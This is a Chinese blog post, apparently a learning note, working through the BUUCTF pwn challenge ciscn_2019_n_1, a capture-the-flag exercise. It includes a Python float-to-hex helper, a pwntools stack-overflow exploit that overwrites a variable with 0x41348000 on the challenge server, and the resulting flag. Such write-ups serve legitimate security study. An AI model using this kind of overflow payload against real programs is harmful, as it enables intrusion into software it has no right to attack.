pwn学习(4)BUUCTF-ciscn_2019_n_1(浮点数转十六进制脚本积累)

checksec一下

IDA打开,如果满足的条件达成,就可以get flag

找到栈溢出漏洞,输入可以覆盖到v2

将代码11.28125在内存中的十六进制表示出来,

浮点数转十六进制代码如下:

复制代码
import struct

def float_to_hex(f):
    return hex(struct.unpack('<I',struct.pack('<f',f))[0])
print(float_to_hex(11.28125))
#output(0x41348000)

exp:

复制代码
from pwn import *

p=remote('node4.buuoj.cn',25860)

payload=b'a'*(0x30-0x4)+p32(0x41348000)
p.sendline(payload)

p.interactive()

运行出来的结果:

flag{8a5e8279-51a2-4b3b-8959-4d3f9b19227f}
总结:

脚本积累:浮点数转十六进制代码

相关推荐
百锦再5 小时前
Auto.js变成基础知识学习
开发语言·javascript·学习·sqlite·kotlin·android studio·数据库开发
KuaCpp5 小时前
C++新特性学习
c++·学习
Komorebi_99998 小时前
大模型学习day5
学习·大模型
逍遥德8 小时前
AI时代,计算机专业大学生学习指南
java·javascript·人工智能·学习·ai编程
网络与设备以及操作系统学习使用者8 小时前
直连路由优先级最高
运维·网络·学习·华为·智能路由器
逆羽飘扬10 小时前
【AI Infra面试】基础学习汇总篇
人工智能·学习
05候补工程师11 小时前
[线性代数] 判定线性相关性的“降维打击”:从基本定理到速通特殊法
经验分享·笔记·学习·线性代数·考研
太阳上的雨天11 小时前
AI学习ing~
学习·ai·ai编程
麦田里的粮仓11 小时前
文档站点生成器 - Fumadocs
学习
技术小结-李爽12 小时前
【学习】怎样把“提问题”推荐给别人
学习